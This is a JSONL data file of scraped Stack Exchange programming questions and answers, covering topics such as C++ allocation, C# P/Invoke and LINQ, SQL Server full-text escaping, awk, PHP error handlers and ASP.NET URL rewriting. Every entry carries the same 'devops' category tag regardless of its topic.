{"id": "hf_1fc6ee7c017b", "question": "<p>Hi if I am creating something on the stack using new I declare it like:</p>\n\n<pre><code>object *myObject = new object(contr, params);\n</code></pre>\n\n<p>Is there a way to declare this such as:</p>\n\n<pre><code>object *myObject;\nmyObject = new object(constr, params);\n</code></pre>\n\n<p>Is this correct?</p>\n", "question_body": "", "answer": "Yes, that is correct.  But new does not create things on the stack, it creates them on the heap.\nTo create object on the stack you would do:\n```\n```\nobject myObject(constr, params);\n```\n```\nThere is no other way to create an object on the stack and once it is created on the stack you can't \"recreate\" it with the same name later in the same function.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:40.140425"}
{"id": "hf_f2db721b57cf", "question": "<p>i have a windows client and i want to upgrade subversion from 1.5.3 to 1.5.4.  are there installation steps. . do i just copy the zip and extract and override the existing directoies ..  i can't find any clear upgrade instructions . . </p>\n", "question_body": "", "answer": "Which windows client are you using?\nTortoiseSVN's upgrade path for me so far has been pretty flawless. You just download the latest installer, run it, and get back to work.\nThe only time I had an issue was upgrading from 1.4x to 1.5x, you\ndo\nhave to restart the computer after this installation, otherwise you'll start getting all sorts of funky errors because the Tortoise SVN in memory cache will be out of date and incompatible.\nAfter a restart everything was fine. The repositories always get auto-upgraded, and unless there's something in the changelog saying otherwise, you can upgrade worry free.\nUpgrading the client side of things should be a low concern anyways, just make a backup of your working copy, perform the upgrade, and if you do have problems, checkout the project into a new folder, move any changed files in, and your all set.\nUpgrading the repository could have more ramifications, but again, I've yet to have a problem on that side of the system.\nHaving backups is a good fail safe.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:40.164567"}
{"id": "hf_28e48792276f", "question": "<p>void (int a[]) {\n    a[5] = 3; // this is wrong?\n    }</p>\n\n<p>Can I do this so that the array that is passed in is modified?</p>\n\n<p>Sorry for deleting, a bit new here...</p>\n\n<p>I have another question which might answer my question:</p>\n\n<p>If I have</p>\n\n<pre><code>void Test(int a) {\n}\n\nvoid Best(int &amp;a) {\n}\n</code></pre>\n\n<p>are these two statements equivalent?</p>\n\n<pre><code>Test(a);\nBest(&amp;a);\n</code></pre>\n", "question_body": "", "answer": "If you get the variable not by reference and not by pointer, it means that the function is essentially isolated, getting an ad-hoc copy of a. No matter what you do (without trying to hack the stack or things like that) you wouldn't have access to that value in the calling context.\nIf you know something about the calling context, you may be able to do things based on some anticipation of stack contents, but it's generally a bad idea.\nIf your method takes a[] which is essentially a*, then yes, you can alter the contents of the cell that a points to, but you won't be able to alter a (the pointer) itself to point at something else.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:40.188251"}
{"id": "hf_a8441ab2bf3b", "question": "<h3>Duplicate:</h3>\n<blockquote>\n<p><a href=\"https://stackoverflow.com/questions/242177/what-is-aspect-oriented-programming\">What is aspect-oriented programming?</a></p>\n</blockquote>\n<p>Every time I here a podcast or read a blog entry about it, even here, they make it sound like string theory or something.  Is the best way to describe it OOP with Dependency Injection on steroids?</p>\n<p>Every time someone tries to explain it, it’s like, Aspects, [Adults from Peanuts Cartoon sound],  Orthogonal, [more noise], cross cutting concerns, etc.  Seriously, can anyone describe it in layman’s terms.</p>\n", "question_body": "", "answer": "Laymans terms so let me give you an example. Let's say you have a web application, and you need to add error logging / auditing. One implementation would be to go into every public method and add your try catch blocks etc...\nWell Aspect oriented says hogwash with that, let me inject my method around your method so for example instead of calling YourClass.UpdateModel(), the system might call,\nLoggingHandler.CallMethod() this method might then redirect the call to UpdateModel but wraps it in a try catch block to handle logging errors.\nNow the trick is that this redirection happens automagically, through configuration or by applying attributes to methods.\nThis works for as you said cross cutting things which are very common programing elements that exist in every domain, such as: Logging, Auditing, Transaction Mgmt, Authorization.\nThe idea behind it is to remove all this common plumbing code out of your business / app tier so you can focus on solving the problem not worrying about logging this method call or that method call.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:40.254203"}
{"id": "hf_d52151220bfd", "question": "<p>I was using GetWindowLong like this:</p>\n\n<pre><code>[DllImport(\"user32.dll\")]\nprivate static extern IntPtr GetWindowLong(IntPtr hWnd, int nIndex);\n</code></pre>\n\n<p>But according to the MSDN docs I am supposed to be using GetWindowLongPtr to be 64bit compatible.\n<a href=\"http://msdn.microsoft.com/en-us/library/ms633584(VS.85).aspx\" rel=\"nofollow noreferrer\">http://msdn.microsoft.com/en-us/library/ms633584(VS.85).aspx</a></p>\n\n<p>The MSDN docs for GetWindowLongPtr say that I should define it like this (in C++):</p>\n\n<pre><code>LONG_PTR GetWindowLongPtr(HWND hWnd, int nIndex);\n</code></pre>\n\n<p>I used to be using IntPtr as the return type, but what the heck would I use for an equivalent for LONG_PTR? I have also seen GetWindowLong defined as this in C#:</p>\n\n<pre><code>[DllImport(\"user32.dll\")]\nprivate static extern long GetWindowLong(IntPtr hWnd, int nIndex);\n</code></pre>\n\n<p>What is right, and how can I ensure proper 64bit compatibility?</p>\n", "question_body": "", "answer": "You should define GetWindowLongPtr using an IntPtr.  In C/C++ a LONG_PTR is 32-bits on a 32-bit system and 64-bits on a 64-bit system (see\nhere\n).  IntPtr in C# is designed to work the same way (see\nhere\n).\nSo what you want is:\n```\n```\n[DllImport(\"user32.dll\")]\nprivate static extern IntPtr GetWindowLongPtr(IntPtr hWnd, int nIndex);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:40.297016"}
{"id": "hf_9a0f288fa5fa", "question": "<p>This is probably pretty basic... but I don't seem to get it:</p>\n\n<p>How does </p>\n\n<pre><code>(2 &amp; 1) = 0\n(3 &amp; 1) = 1\n(4 &amp; 1) = 0\n</code></pre>\n\n<p>etc..</p>\n\n<p>This pattern above seems to help find even numbers</p>\n\n<p>or </p>\n\n<pre><code>(0 | 1) = 1\n(1 | 1) = 1\n(2 | 1) = 3\n(3 | 1) = 4\n(4 | 1) = 5\n(5 | 1) = 5\n</code></pre>\n\n<p>I know how boolean algebra works between bits. But I don't understand how Boolean algebra works with integers (in C# at the least).</p>\n\n<p>thanks in advance.</p>\n", "question_body": "", "answer": "It works the same way in C# as it does in binary.\n```\n2 | 1 = 3\n```\nand\n```\n4 | 1 = 5\n```\n.\nTo understand this, you need to think about the binary representation of 1,2,3,4,and 5:\n```\n010 | 001 = 011\n```\nand\n```\n100 | 001 = 101\n```\n.\nSimilarly:\n```\n010 & 001 = 000\n```\nand\n```\n011 & 001 = 001\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:40.330623"}
{"id": "hf_6a32d411f2b4", "question": "<p>I'm working on a .Net application which uses Asp.net 3.5 and Lucene.Net I am showing search results given by Lucene.Net in an asp.net datagrid. I need to implement Paging (10 records on each page) for this aspx page.</p>\n\n<p>How do I get this done using Lucene.Net?</p>\n", "question_body": "", "answer": "Here is a way to build a simple list matching a specific page with Lucene.Net. This is not ASP.Net specific.\n```\n```\nint first = 0, last = 9; // TODO: Set first and last to correct values according to page number and size\nSearcher searcher = new IndexSearcher(YourIndexFolder);\nQuery query = BuildQuery(); // TODO: Implement BuildQuery\nHits hits = searcher.Search(query);\nList<Document> results = new List<Document>();\nfor (int i = first; i <= last && i < hits.Length(); i++)\n    results.Add(hits.Doc(i));\n\n// results now contains a page of documents matching the query\n```\n```\nBasically the Hits collection is very lightweight. The cost of getting this list is minimal. You just instantiate the needed Documents by calling hits.Doc(i) to build your page.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:40.375733"}
{"id": "hf_c4a67887897c", "question": "<p>Has anyone ever used the <a href=\"https://www.dofactory.com/net/bridge-design-pattern\" rel=\"nofollow noreferrer\">Bridge pattern</a> in a real world application? If so, how did you use it? Is it me, or is it just the <a href=\"https://www.dofactory.com/net/adapter-design-pattern\" rel=\"nofollow noreferrer\">Adapter pattern</a> with a little dependency injection thrown into the mix? Does it really deserve its own pattern?</p>\n", "question_body": "", "answer": "A classic example of the Bridge pattern is used in the definition of shapes in an UI environment (see the\nBridge pattern Wikipedia entry\n).  The Bridge pattern is a\ncomposite\nof the\nTemplate\nand\nStrategy\npatterns.\nIt is a common view some aspects of the Adapter pattern in the Bridge pattern.  However, to quote from\nthis article\n:\nAt first sight, the Bridge pattern looks a lot like the Adapter pattern in that a class is used to convert one kind of interface to another. However, the intent of the Adapter pattern is to make one or more classes' interfaces look the same as that of a particular class. The Bridge pattern is designed to separate a class's interface from its implementation so you can vary or replace the implementation without changing the client code.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:40.409064"}
{"id": "hf_7340963921f1", "question": "<p>How can I escape a bracket in a full-text SQL Server <code>contains()</code> query? I've tried all the following, <em>none</em> of which work:</p>\n\n<pre><code>CONTAINS(crev.RawText, 'arg[0]')\nCONTAINS(crev.RawText, 'arg[[0]]')\nCONTAINS(crev.RawText, 'arg\\[0\\]')\n</code></pre>\n\n<p>Using double quotes does work, but it <strong>forces the entire search to be a phrase</strong>, which is a showstopper for multiple word queries. </p>\n\n<pre><code>CONTAINS(crev.RawText, '\"arg[0]\"')\n</code></pre>\n\n<p>All I really want to do is escape the bracket, but I can't seem to do that..</p>\n", "question_body": "", "answer": "Not in the spirit of fulltext indexing apparently.\nword\nIs a string of characters without\n  spaces or punctuation.\nphrase\nIs one or more words with spaces\n  between each word.\nAnd\nPunctuation is ignored. Therefore,\n  CONTAINS(testing, \"computer failure\")\n  matches a row with the value, \"Where\n  is my computer? Failure to find it\n  would be expensive.\"\nI'm not sure what your options are.\nObviously\n```\nLIKE\n```\nworks fine:\n```\n```\nSELECT *\nFROM dbo.stackoverflow_319730\nWHERE txtcol LIKE 'arg[ [ ]0]'\n```\n```\nBut\n```\n```\nSELECT *\nFROM dbo.stackoverflow_319730\nWHERE CONTAINS(txtcol, '\"arg[0]\"')\n```\n```\nEven matches a column with\n```\n'arg[1]'\n```\nin it, for instance:\n```\n```\nCREATE TABLE [dbo].[stackoverflow_319730](\n    [id] [int] IDENTITY(1,1) NOT NULL,\n    [txtcol] [text] NOT NULL,\n CONSTRAINT [PK_stackoverflow_319730] PRIMARY KEY CLUSTERED \n(\n    [id] ASC\n)WITH (PAD_INDEX  = OFF, STATISTICS_NORECOMPUTE  = OFF, IGNORE_DUP_KEY = OFF, ALLOW_ROW_LOCKS  = ON, ALLOW_PAGE_LOCKS  = ON) ON [PRIMARY]\n) ON [PRIMARY] TEXTIMAGE_ON [PRIMARY]\n\nINSERT INTO [dbo].[stackoverflow_319730] (txtcol) VALUES ('arg[0]')\nINSERT INTO [dbo].[stackoverflow_319730] (txtcol) VALUES ('arg[1]')\nINSERT INTO [dbo].[stackoverflow_319730] (txtcol) VALUES ('some other text')\nINSERT INTO [dbo].[stackoverflow_319730] (txtcol) VALUES ('arg[0], arg[1]')\n\nEXEC sp_fulltext_catalog   'FTCatalog','create'\nEXEC sp_fulltext_table     'stackoverflow_319730', 'create', 'FTCatalog', 'pk_stackoverflow_319730' \nEXEC sp_fulltext_column    'stackoverflow_319730', 'txtcol', 'add' \nEXEC sp_fulltext_table     'stackoverflow_319730','activate' \nEXEC sp_fulltext_catalog   'FTCatalog', 'start_full' \n\nSELECT *\nFROM dbo.stackoverflow_319730\nWHERE txtcol LIKE 'arg[ [ ]0]'\n\nSELECT *\nFROM dbo.stackoverflow_319730\nWHERE CONTAINS(txtcol, '\"arg[0]\"')\n```\n```\nWith results which hint at the problem with punctuation:\n```\n```\nid          txtcol\n----------- ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------\n1           arg[0]\n\n(1 row(s) affected)\n\nid          txtcol\n----------- ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------\n1           arg[0]\n2           arg[1]\n4           arg[0], arg[1]\nInformational: The full-text search condition contained noise word(s).\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:40.432823"}
{"id": "hf_9645e779240e", "question": "<p>Here is pseudo-code of how I setup an array representing the MandelBrot set, yet it becomes horribly stretched when leaving an aspect ratio of 1:1.</p>\n\n<pre><code>xStep = (maxX - minX) / width;\nyStep = (maxY - minY) / height;\n\nfor(i = 0; i &lt; width; i++)\n for(j = 0; j &lt; height; j++)\n  {\n   constantReal = minReal + xStep * i;\n   constantImag = minImag + yStep * j;\n   image[i][j] = inSet(constantReal, constantImag);\n  }\n</code></pre>\n\n<p>Thanks!</p>\n", "question_body": "", "answer": "It probably has to do with how you are displaying the\n```\nimage\n```\narray.  You use the width variable i as the first index, but usually the first index should be the slowest changing, that is, the height.\nTry changing the last line to\n```\nimage[j][i] =\n```\n...", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:40.478530"}
{"id": "hf_4c30d9209b81", "question": "<p>I am trying to use this in my page class. I only just started using objects in PHP so I'm still a little clueless (but learning as much as I can). This is in my <code>page()</code> function (so called when there is a new instance of page)</p>\n\n<pre><code>set_error_handler('$this-&gt;appendError');\n</code></pre>\n\n<p>This is causing an error</p>\n\n<blockquote>\n  <p>Warning: set_error_handler() expects the argument (appendError) to be a valid callback</p>\n</blockquote>\n\n<p>Now how do I set a class internal function whilst passing the function as a string. Is this not possible? Should I use a normal function which then calls the class function and sends through all arguments? This sounds a little cumbersome to me.</p>\n\n<p>Or have I missed the problem? I've tried making my appendError return a string, and echo.. but it still isn't playing nice.</p>\n\n<p>Any help would be greatly appreciated.</p>\n\n<p>Thank you!!</p>\n", "question_body": "", "answer": "Few problems with that.\nFirst:\n```\n'$this->appendError'\n```\nis a nogo.  It doesn't interpret $this to the current class, php interprets it as the string '$this'.\nSecond: Try\n```\nset_error_handler(array($this, 'appendError'));\n```\nIf that doesn't work, replace $this with the classname and use it statically.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:40.542898"}
{"id": "hf_5df95bb5ac51", "question": "<p>escaping html is fine - it will remove <code>&lt;</code>'s and <code>&gt;</code>'s etc. </p>\n\n<p>ive run into a problem where i am outputting a filename inside a comment tag eg. <code>&lt;!-- ${filename} --&gt;</code></p>\n\n<p>of course things can be bad if you dont escape, so it becomes:\n<code>&lt;!-- &lt;c:out value=\"${filename}\"/&gt; --&gt;</code></p>\n\n<p>the problem is that if the file has \"--\" in the name, all the html gets screwed, since youre not allowed to have <code>&lt;!-- -- --&gt;</code>. </p>\n\n<p>the standard html escape doesnt escape these dashes, and i was wondering if anyone is familiar with a simple / standard way to escape them. </p>\n", "question_body": "", "answer": "Definition of a HTML comment\n:\nA comment declaration starts with <!, followed by zero or more comments, followed by >. A comment starts and ends with \"--\", and does not contain any occurrence of \"--\".\nOf course the parsing of a comment is up to the browser.\nNothing strikes me as an obvious solution here, so I'd suggest you str_replace those double dashes out.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:40.630646"}
{"id": "hf_f8106f3be9bf", "question": "<p>Does anyone have an example AUTORUN.INF which can launch an MSI installer automatically when the user inserts the CD.</p>\n\n<p>I'm sure this can be done but I've been Googling around for ages and have not found any working solution.</p>\n\n<p><strong>UPDATE:</strong> I have an AUTORUN.INF similar to this but it won't launch the installer:</p>\n\n<pre><code>[autorun]\nopen=MyInstaller-1.0.0.msi\nlabel=My CD Label\nicon=MyIcon.ico\n</code></pre>\n", "question_body": "", "answer": "Try shellexecute= instead of open=\n```\n[autorun]\nshellexecute=MyInstaller-1.0.0.msi\nlabel=My CD Label\nicon=MyIcon.ico\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:40.653759"}
{"id": "hf_be9a2b1a2a05", "question": "<p>Could someone please point me toward a cleaner method to generate a random enum member. This works but seems ugly.</p>\n\n<p>Thanks!</p>\n\n<pre><code>public T RandomEnum&lt;T&gt;()\n{\n  string[] items = Enum.GetNames(typeof( T ));\n  Random r = new Random();\n  string e = items[r.Next(0, items.Length - 1)];\n  return (T)Enum.Parse(typeof (T), e, true);\n}\n</code></pre>\n", "question_body": "", "answer": "```\n```\npublic T RandomEnum<T>()\n{ \n  T[] values = (T[]) Enum.GetValues(typeof(T));\n  return values[new Random().Next(0,values.Length)];\n}\n```\n```\nThanks to @[Marc Gravell] for ponting out that the max in Random.Next(min,max) is exclusive.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:40.676915"}
{"id": "hf_7282e8029bda", "question": "<p>In a program to find whether the given number is an <a href=\"http://en.wikipedia.org/wiki/Narcissistic_number\" rel=\"nofollow noreferrer\">Armstrong</a> number, I stored the input no (3 digit) as string as follows.</p>\n\n<pre><code>char input[10];\nscanf(\"%s\",&amp;input);\n</code></pre>\n\n<p>Now I have to calculate cube of each digit by using pow method of math.h as follows.</p>\n\n<pre><code>int a;\na = pow(input[0],3);\n</code></pre>\n\n<p>By coding like this, I could not get correct result.  If I print the value of \"a\", it shows some irrelevant answer. My doubt is, how to convert from string value to integer value? </p>\n", "question_body": "", "answer": "You do not need to get the address of the\n```\ninput\n```\narray using\n```\n&input\n```\n. Simply passing\n```\ninput\n```\nwill pass the pointer to your string to scanf(). Your call to scanf() should look like this:\n```\n```\nscanf(\"%s\", input);\n```\n```\nAnother way of doing it, with the address of operator:\n```\n```\nscanf(\"%s\", &input[0]);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:40.709386"}
{"id": "hf_98c0896ec6aa", "question": "<p>I have two strings</p>\n\n<pre><code>&lt;EM&gt;is &lt;i&gt;love&lt;/i&gt;&lt;/EM&gt;,&lt;PARTITION /&gt;\n</code></pre>\n\n<p>and</p>\n\n<pre><code>&lt;EM&gt;is &lt;i&gt;love&lt;/i&gt;,&lt;PARTITION /&gt;\n</code></pre>\n\n<p>I want a regex to match the second string completely but should not match the first one.  Please help.</p>\n\n<p>Note: Everything can change except the EM and PARTITION tags.</p>\n", "question_body": "", "answer": "I don't think you're asking the right question.  This regex matches the second string completely and not the first:\n```\n/^<EM>is <i>love<\\/i>,<PARTITION \\/>$/\n```\nBut obviously, you want to match a class of strings, not just the second string... right?  Define the class of strings you want to match and you can be 1 step closer to getting the regular expression you need.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:40.765339"}
{"id": "hf_ce979c5d4f37", "question": "<p>Suppose <code>a</code> and <code>b</code> are both of type <code>int</code>, and <code>b</code> is nonzero.  Consider the result of performing <code>a/b</code> in the following cases:</p>\n\n<ol>\n<li><code>a</code> and <code>b</code> are both nonnegative.</li>\n<li><code>a</code> and <code>b</code> are both negative.</li>\n<li>Exactly one of them is negative.</li>\n</ol>\n\n<p>In Case 1 the result is rounded down to the nearest integer.  But what does the standard say about Cases 2 and 3?  An old draft I found floating on the Internet indicates that it is implementation dependent (yes, even case 2) but the committee is leaning toward making it always 'round toward zero.'  Does anyone know what the (latest) standard says?  Please answer only based on the standard, not what makes sense, or what particular compilers do.</p>\n", "question_body": "", "answer": "According to the May 2008 revision,\nYou're right:\nThe binary / operator yields the quotient, and the binary % operator yields the remainder from the division of the first expression by the second. If the second operand of / or % is zero the behavior is undefined; otherwise (a/b)*b + a%b is equal to a. If both operands are nonnegative then the remainder is nonnegative; if not, the sign of the remainder is implementation-defined75).\nNote 75 says:\nAccording to work underway toward the revision of ISO C, the preferred algorithm for integer division follows the rules defined in the ISO Fortran standard, ISO/IEC 1539:1991, in which the quotient is always rounded toward zero.\nChances are that C++ will lag C in this respect.  As it stands, it's undefined but they have an eye towards changing it.\nI work in the same department as Stroustrup and with a member of the committee.  Things take AGES to get accomplished, and its endlessly political.  If it seems silly, it probably is.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:40.787273"}
{"id": "hf_6914fc2a9b48", "question": "<p>How to integrate JQuery Intellisense support in VS 2005</p>\n", "question_body": "", "answer": "Doesn't seem like it's possible.\nSee answer 10\nhere\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:40.864546"}
{"id": "hf_865601083463", "question": "<p>Suppose I have a text file with data separated by whitespace into columns. I want to write a shell script which takes as input a filename and a number N and prints out only that column. With awk I can do the following:</p>\n\n<pre><code>awk &lt; /tmp/in '{print $2}' &gt; /tmp/out\n</code></pre>\n\n<p>This code prints out the second column. </p>\n\n<p>But how would one wrap that in a shell script so that a arbitrary column could be passed in argv?</p>\n", "question_body": "", "answer": "```\nawk -v x=2 '{print $x}'\n```\nor in a shell script:\n```\n#!/bin/sh\nnum=$1\nawk < /tmp/in -v x=$num '{print $x}' > /tmp/out\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:40.897770"}
{"id": "hf_7ae1d96990ff", "question": "<p>In asp.net 3.5, I'm rewriting the url</p>\n\n<p><a href=\"http://www.abc.com/archive/1108/harpersdecember\" rel=\"nofollow noreferrer\">http://www.abc.com/archive/1108/harpersdecember</a></p>\n\n<p>to the following</p>\n\n<p><a href=\"http://www.abc.com/article.aspx?docId=78\" rel=\"nofollow noreferrer\">http://www.abc.com/article.aspx?docId=78</a></p>\n\n<p>I'm using this code to do it:</p>\n\n<pre><code>                Context.RewritePath(\"/article.aspx?docId=78\");\n</code></pre>\n\n<p>It works fine locally but when I upload to the remote web server, I get a 404 when trying to reference the above page.  Any suggestions why it works locally but not remotely?</p>\n", "question_body": "", "answer": "You may need to create a wildcard mapping in IIS on the remote server so that all requests are processed by ASP.Net. If you do not do this any URLs without .ASPX on the end will not run through your URL rewriting code.\nThere is a good explanation of this (and other reasons you might use it) on\nScott Guthrie's blog\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:40.941021"}
{"id": "hf_ee294215c914", "question": "<p>i want to create a number of databases in ms-access using a code or any option of ms-access, but i want delete databases also.\n            Please help me</p>\n", "question_body": "", "answer": "You could have an empty database named \"db1.mdb\", and then add this code inside a module\nin another\nAccess database:\n```\n```\nSet fso = CreateObject(\"scripting.filesystemobject\")\n  fso.CopyFile \"c:\\db.mdb\", \"c:\\db_copy1.mdb\", True\n  fso.CopyFile \"c:\\db.mdb\", \"c:\\db_copy2.mdb\", True\n  fso.CopyFile \"c:\\db.mdb\", \"c:\\db_copy3.mdb\", True\n  fso.DeleteFile \"c:\\db.mdb\"\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:41.010593"}
{"id": "hf_55281593d055", "question": "<p>I have spent lot of time  doing research on VIM. I am Windows guy since last 6 yrs and was using VS.\nNow started working on Linux. I want to make VIM as close as possible to VS.\nI want features like\nProject Navigation\nFiles in Different Tabs\nSearch in Project\nAutoCompletion</p>\n\n<p>I have found plugins for the above requirements\nProject Pligin\nMiniExplore\nTaglist\nOmniComplete</p>\n\n<p>I am not able to correctly set vimrc script.\nWhen I try to open file from Project it gets open in different tabs.I want to get it open in different buffers.\nAlso when I want to close file in buffer , complete window gets closed.\nOpen taglist and project window makes all mess.</p>\n\n<p>Has any one done settings with these plugin..\nCould  you guys please post your vimrc files??\nIt will save lot of time for newbies like me..</p>\n", "question_body": "", "answer": "Vim is a very different tool than Visual Studio. Plugins may help you get certain bits of functionality you desire, but do not expect them to work exactly like VS, work well together, or even work at all.\nIf you are looking for a programming environment more like Visual Studio, there are many good graphical IDE's you can use such as NetBeans, Eclipse, Code::Blocks, KDevelop, Anjuta, etc. Some of these tools are, IMHO, better heavyweight IDE's than Visual Studio, and all are available on Linux for free.\nYou should either learn to use Vim the way it was built to be used, or find a different tool that suits you better. Shoehorning Vim into a surrogate for Visual Studio will probably cause you more pain than it's worth.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:41.045334"}
{"id": "hf_fd4dc712b8c8", "question": "<p>I would like to use Linq to query a bus schedule in my project, so that at any time I can get the next 5 bus arrival times. How can I limit my query to the first 5 results?</p>\n\n<p>More generally, how can I take a slice of a list in C#? (In Python I would use <code>mylist[:5]</code> to get the first 5 elements.)</p>\n", "question_body": "", "answer": "```\n```\nvar firstFiveItems = myList.Take(5);\n```\n```\nOr to slice:\n```\n```\nvar secondFiveItems = myList.Skip(5).Take(5);\n```\n```\nAnd of course often it's convenient to get the first five items according to some kind of order:\n```\n```\nvar firstFiveArrivals = myList.OrderBy(i => i.ArrivalTime).Take(5);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:41.067690"}
{"id": "hf_7e5845bcaf40", "question": "<p>This is a <a href=\"https://stackoverflow.com/questions/319199/why-is-java-able-to-store-0xff000000-as-an-int\">follow up question</a>. So, Java store's integers in <a href=\"http://en.wikipedia.org/wiki/Two%27s_complement\" rel=\"nofollow noreferrer\">two's-complements</a> and you can do the following:</p>\n\n<pre><code>int ALPHA_MASK = 0xff000000;\n</code></pre>\n\n<p>In C# this requires the use of an unsigned integer, <code>uint</code>, because it interprets this to be <code>4278190080</code> instead of <code>-16777216</code>.</p>\n\n<p>My question, how do declare negative values in hexadecimal notation in c#, and how exactly are integers represented internally? What are the differences to Java here?</p>\n", "question_body": "", "answer": "C# (rather, .NET) also uses the two's complement, but it supports both signed and unsigned types (which Java doesn't). A bit mask is more naturally an unsigned thing - why should one bit be different than all the other bits?\nIn this specific case, it is safe to use an unchecked cast:\n```\n```\nint ALPHA_MASK = unchecked((int)0xFF000000);\n```\n```\nTo \"directly\" represent this number as a signed value, you write\n```\n```\nint ALPHA_MASK = -0x1000000; // == -16777216\n```\n```\nHexadecimal is not (or should not) be any different from decimal: to represent a negative number, you need to write a negative sign, followed by the digits representing the absolute value.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:41.102961"}
